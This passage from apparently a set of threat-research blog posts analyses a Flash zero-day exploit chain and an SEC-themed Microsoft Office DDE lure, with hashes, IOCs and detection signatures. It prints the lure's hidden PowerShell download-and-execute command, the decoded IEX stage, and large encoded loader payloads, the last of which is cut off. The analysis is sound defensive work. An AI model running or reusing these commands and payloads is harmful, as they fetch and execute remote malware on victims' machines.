45. 8351070808b7b7541f99b7f75dec59ea7713ccdc9fbd521152c813445e01156c
46. 85f82adef8badabf7a5ed7a5f987ca8f611db9cddaffe6e60cff5a4167d19062
47. 88867b7ae4fb6d396d5a1e07edee16c495a77f943b4cd08df8fb3dad1b703012
48. 8c33bf2c9f4f93883f5568c374b53fac4d337a7aaf64eb4d1b776fc73433c051
49. 8e0373ad55b692b6e857b4d533e6b67445eb4af3d3542c25440f16737d622187
50. 8e6643d6224e3c3a3a39abed0291b34f526e9e15662f6fbd319b141ea67a8400
51. 8f2d995c2bfddac4992737bb94d97c85035ae8ba20ffb0a7894f123b1ac253c2
52. 8f77b27596cb18a4e7c56bc28f18fa4648d328210a36d62c456bb31084426ff4
53. 91ac0eae541c351122daaeb9ef2042508b8bc10816cc056c7b6d4a717f05a76e
54. 9c9ec33955cc9144dffb97095dd8be8ffc7a676eaf99da63d113775ca7a9d7c9
55. a3bd170a56e43d123f928e5978d51e24fdcc708382c5a8d86c1dbe2e67538148
56. a53c7526939cfd8d609c77b5b6a6da82329efc017e91f203d57934da0ed8637f
57. a601d9742b306384796a7a6f835c8a979179c9f516bd17ba7185f7d331b4db2d
58. a953e225ec770230c100281dc8d3820b63461740214fa6471580fbba6048378c
59. a9995695776b7a17d1ac86b8b47fbcd94d190c42c6d3838417749d57b03f9e07
60. ba1bc1c75ff7aec30d48d47284d120d7a1a862a44e86e63094afbca5cc6f1578
61. bb81c9f62bcb5efb54792925e8a7d3d9a53e1d9ec10a6616c1d670967762a9cb
62. bd2193869e8fad55ebdb29f3acc7a3e9d5df81a3390c19b936d4035f990f2842
63. c4798dc2655e8263259f24c237a665f5f1cf556a082a321a64c8e91f2246e427
64. c9d69de2fc0f3ea9d57793e723b3e6234e034a6c533f5550c01376508861de87
65. ca409d1c8034b850cbee61ddb884267b3cb31f44e4adbd59da20498634726cc9
66. ca60b1755608f07a053cb1fdc87ccf506759a54867a6cb2f62f0568e043f9a44
67. cac05cef3b1607be9145894a619a27611e90a5edab4a6af4896f549cb1be0147
68. cdd6a50db75672ea4c5c3baec9c5ee4de14ad4fab4ef9a5ad7fa7d6fa97f8bff
69. da018eea106dc3a2a219049f9d0f5e55b87e5e3a91ca19877255fa65a06696d9
70. dc4ef4adefb5d26683d18fe788b432b13844fe1f54455576cee46d417bd5c666
71. e2293df854d6a0d86c965ad118e126f407f864cb54d830d4aa345c4d9557bc23
72. e9c64f7c4432ab680ad026e76ba299181c36e72596f227f924932ba744af82ad
73. eadc01694adc0f1137b4ec16299bb9c6c65180d7e446b71a885e082fff9b884f
74. ebf8f2d4463cd107039661c5ca349a00a2dc90ea537dac75b87b42b323cd48f5
75. f6985e91760b621462ed291eb35638b580ed9ede5e83834b9c026302d6fd5d9b

Detection

InQuest customers can hunt for signs of this campaign generically via the following signatures:

5000532, MC_Embedded_VB_Macro, with confidence 9 and severity 9.
3000080, SC_Suspicious_Macro_Function, with confidence 8 and severity 5.
3000143, SC_StrRev_Macro, with confidence 8 and severity 4.
5000869, MC_Phorpiex, with confidence 8 and severity 8.

02.07.2018: Adobe Flash MediaPlayer DRM Use-After-Free Vulnerability

Wed, 07 Feb 2018 00:00:00 -0600

On February 1st, Adobe published bulletin APSA18-01 for CVE-2018-4878 describing a use-after-free (UAF) vulnerability affecting Flash version 28.0.0.137 and earlier. As of February 6th, Adobe has patched the issue in version 28.0.0.161, see: APSB18-03. This post provides an overview of the vulnerability, a walk-through of the exploit seen in the wild, and covers several detection mechanisms. You can also follow the conversation via our Twitter moment.Screenshot of SWF 0day within Microsoft Office malware carrier document.Adobe Flash is on its final years as Adobe is scheduled to kill Flash in 2020. Major browsers such as Chrome, Microsoft Edge, and Safari have buried the functionality over the past year or so. There's no denying that Flash has played a major role in the evolution of the web, arguably paving the way to HTML5. It was certainly nudged closer to the grave when Apple overtly decided against supporting the popular platform with the launch of the iPhone a decade ago.

From a consumer security perspective, this trend is generally a positive one; in 2015, there were 316 published Flash Player bugs (you heard that right, 6 bugs a week). The combination of a massive attack surface, ability to programatically manipulate memory, and mixed media access represents a dream come true for a potential attacker. While attackers quickly lose the ability to lean on Flash in the browser, the platform can still get them results through a medium such as Microsoft Office. On 1/31 the KrCERT/CC (South Korea Computer Emergency Response Team) released a notice regarding an Adobe Flash 0day exploit they observed in-the-wild, it was assigned CVE-2018-4878 and targets a UAF vulnerability in the TVSDK Platform. The exploit is delivered to targets in the following chain:

Document based carrier. Both XLSX and DOC carriers have been observed in the wild.
The carrier embeds Adobe Flash (SWF) content.
Upon execution, the first-stage SWF exploit gathers system information and communicates with a compromised pivot server.
A second-stage Adobe Flash payload is retrieved, decrypted, and executed. This second-stage payload contains the exploit for a use-after-free vulnerability in Adobe Flash MediaPlayer DRM management.
The final payload, a ROKRAT Windows PE file is downloaded and executed.

Sparing transmission of the exploit to a second-stage is common sense from an OPSEC (operational security) perspective. By delaying the delivery of the 0day exploit, the attackers are limiting the exposure of this valuable capability. As such, the second-stage sample has not been widely reported on or analyzed. We�ve made all stages of the exploit chain available, along with ActionScript decompilation available on GitHub.com/InQuest.

Let�s walk through the exploit chain starting from the XLSX carrier 14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12. Decompress the XLSX file and note /xl/activeX/activeX1.bin, at offset 0x18 (24) you�ll recognize Adobe Flash magic. Let�s carve it out:

$ xxd activeX1.bin | head
 00000000: 6edb 7cd2 6dae cf11 96b8 4445 5354 0000  n.|.m.....DEST..
 00000010: 6655 6655 97c8 0100 4657 5320 97c8 0100  fUfU....FWS ....
 00000020: 7800 04e2 0000 0ea6 0000 1801 0044 1119  x............D..
 00000030: 0000 007f 13cb 0100 003c 7264 663a 5244  .........<rdf:RD
 00000040: 4620 786d 6c6e 733a 7264 663d 2768 7474  F xmlns:rdf='htt
 00000050: 703a 2f2f 7777 772e 7733 2e6f 7267 2f31  p://www.w3.org/1
 00000060: 3939 392f 3032 2f32 322d 7264 662d 7379  999/02/22-rdf-sy
 00000070: 6e74 6178 2d6e 7323 273e 3c72 6466 3a44  ntax-ns#'><rdf:D
 00000080: 6573 6372 6970 7469 6f6e 2072 6466 3a61  escription rdf:a
 00000090: 626f 7574 3d27 2720 786d 6c6e 733a 6463  bout='' xmlns:dc
 000000a0: 3d27 6874 7470 3a2f 2f70 7572 6c2e 6f72  ='http://purl.or
 000000b0: 672f 6463 2f65 6c65 6d65 6e74 732f 312e  g/dc/elements/1.
 000000c0: 3127 3e3c 6463 3a66 6f72 6d61 743e 6170  1'><dc:format>ap
 000000d0: 706c 6963 6174 696f 6e2f 782d 7368 6f63  plication/x-shoc

$ dd if=activeX1.bin of=swf skip=24 bs=1 count=999999
$ file swf
 swf: Macromedia Flash data, version 32

Through a combination of swfdump and FFDec we can both ascertain the entry point and decompile the embedded ActionScript.

$ swfdump swf | egrep "FRAMELABEL|DOABC"
[02b]         8 FRAMELABEL "loadswf"
[052]      2788 DOABC "loadswf", lazy load
[052]      2686 DOABC "mx/utils/StringUtil", lazy load
[052]       264 DOABC "mx/core/IFlexAsset", lazy load
[052]       553 DOABC "mx/core/ByteArrayAsset", lazy load
[052]       355 DOABC "loadswf_SWFBClass", lazy load
[052]       339 DOABC "loadswf_MyURL", lazy load
[052]       206 DOABC "mx/core/mx_internal", lazy load

Stepping through the major portions of this first-stage payload:

Entrypoint @loadswf
Request to a compromised South Korean server to retrieve and decrypt the second-stage payload.
XOR decoder
Transfer control to second-stage

Stepping through the major portions of the second-stage payload (0day):

One variable that isn�t immediately apparent in the decompiled ActionScript is the URL which the second-stage SWF payload (0day) is retrieved from. We got lucky with a little Linux command line brute force extraction combined with domain knowledge of common URLs to filter:

$ grep -aEor 'https?://[A-Za-z0-9\./]+' 14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12/ | cut -d':' -f2- | sort | uniq | grep -Ev "adobe.com|w3.org|openxmlformats.org|microsoft.com" | sed "s/http:/hxxp:/"
hxxp://purl.org/dc/dcmitype/
hxxp://purl.org/dc/elements/1.1
hxxp://purl.org/dc/elements/1.1/
hxxp://purl.org/dc/terms/
hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php

The last URL in that least clearly stands out. If heavily obfuscated, dynamic analysis would be the preferred extraction path.

Detection

We�ve made a number of relevant YARA signatures available on GitHub.com/InQuest for detecting the various components of this threat. Ordered from most general to most specific:

While not explicitly indicative of malicious content, it�s prudent for a threat hunter to explore documents discovered in transit that embed Adobe Flash via the first rule. The second looks for specific triggers suspected in the decompiled ActionScript, efficacy of this signature is dependent on processing the captured SWF file through an engine such as FFDec. Generically, the $varc_1 string from this rule looks for the requisite components to trigger the UAF vulnerability within the bounds of a single function. The final signature above is mostly sourced from posts in the public domain (see references), we threw a tweak on it to avoid false positives. This signature, while exploit specific and more easily evadable, applies to the existing threats observed in the wild thus far.

IOCs

14c58e3894258c54e12d52d0fba0aafa258222ce9223a1fdc8a946fd169d8a12 Carrier: Microsoft Excel 2007+
3b1395f620e428c5f68c6497a2338da0c4f749feb64e8f12e4c5b1288cc57a1c Carrier: Composite Document File V2 Document
88d7aa1612756e2e70e4972d3f6a80517515f5274b38d4601357f954e207f294 Stage-1: Macromedia Flash data, version 32
fec71b8479f3a416fa58580ae76a8c731c2294c24663c601a1267e0e5c2678a0 Stage-1: Macromedia Flash data, version 32
1a3269253784f76e3480e4b3de312dfee878f99045ccfd2231acb5ba57d8ed0d Stage-2: (0day) Macromedia Flash data (compressed), version 32
e1546323dc746ed2f7a5c973dcecc79b014b68bdd8a6230239283b4f775f4bbd Payload: (ROKRAT) PE32 executable (GUI) Intel 80386, for MS Windows
hxxp://www.dylboiler.co.kr/admincenter/files/boad/4/manager.php
hxxp://1588-2040.co.kr/design/m/images/image/image.php
hxxp://www.1588-2040.co.kr/conf/product_old.jpg
hxxp://www.korea-tax.info/main/local.php

References (chronological)

Free On-Demand Webinar: Think Before You Click

Originally published 2018-02-07 on the InQuest blog.

10.14.2017: Microsoft Office DDE Lures: SEC OMB, Freddie Mac and Vortex Ransomware

Sat, 14 Oct 2017 00:00:00 -0500

SEC OMB Approval Lure

In reviewing the results of our Microsoft Office DDE malware hunt, (Microsoft_Office_DDE_Command_Execution.rule) we came across an interesting lure posing as an SEC Office of Management and Budget (OMB) approval letter. The sample utilizes some tricks to increase chances of successful exploitation. We�ll walk through the dissection of the components in this post. To follow the highlights of the conversation on Twitter, see the following moment:

Microsoft Office DDE Macro-less Command Execution Vulnerability

The lure 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d (9/61 AV detection rate)
carries a Securities and Exchange Commission (SEC) seal and a number of lines alluding to a missing font error. Presumably this is to engender trust and improve the chances of the target user confirming the requisite dialog pop-ups for command execution to take place:SEC Lure

Let�s dive into the payload, we�ll use the 7z+sed technique outlined in our previous post.

$ 7z e -so 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d | sed 's/<[^>]*>//g'

OMB APPROVALOMB Number:      3797-0954Expires:                  March 31, 2018Estimated average burdenhours per response                     18Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----c--Could not load font --terminus-medium-r-normal--12----câ��  DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo[.]gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx" !Unexpected End of Formula

The author of this payload applies a trick here in referencing the Powershell binary by way of Microsoft Word (first highlight). This results in a more friendly dialog for the user:Dialogue Trick

A potential victim is more likely to select �Yes� here when seeing Microsoft Word as the reference binary, versus Powershell.exe. The payload is behind a Google shortened URL. This is nice because we can append a + to that URL to see how prevalent this sample is:Google URL Stats

Seems like it�s not popular at all. It may be worth keeping an eye on this page. The URL behind the shortener is:

http://ipangea[.]com/wp-content/themes/ps1.txt

Snag that and you�ll find base64 encoded content that appears to be hosted on a compromised Wordpress page (this is pretty common):

In [3]: print base64.b64decode("SQBFAFgAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABzAHkAcwB0AGUAbQAuAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACc
   ...: AaAB0AHQAcAA6AC8ALwBpAHAAYQBuAGcAZQBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdABoAGUAbQBlAHMALwBwAGEAeQAuAHQAeAB0ACcAKQApAA==")
IEX((new-object system.net.webclient).downloadstring('http://ipangea[.]com/wp-content/themes/pay.txt';))

Following the chain to the next payload we retrieve:

$data=[System.Convert]::FromBase64String('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');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0)|Out-Null;$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX($sr.readtoend())

Base64 decoding and then GZip decompressing the above stream we get:

${/=\___/\_/=\/=\/=} = @'
$data=[System.Convert]::FromBase64String('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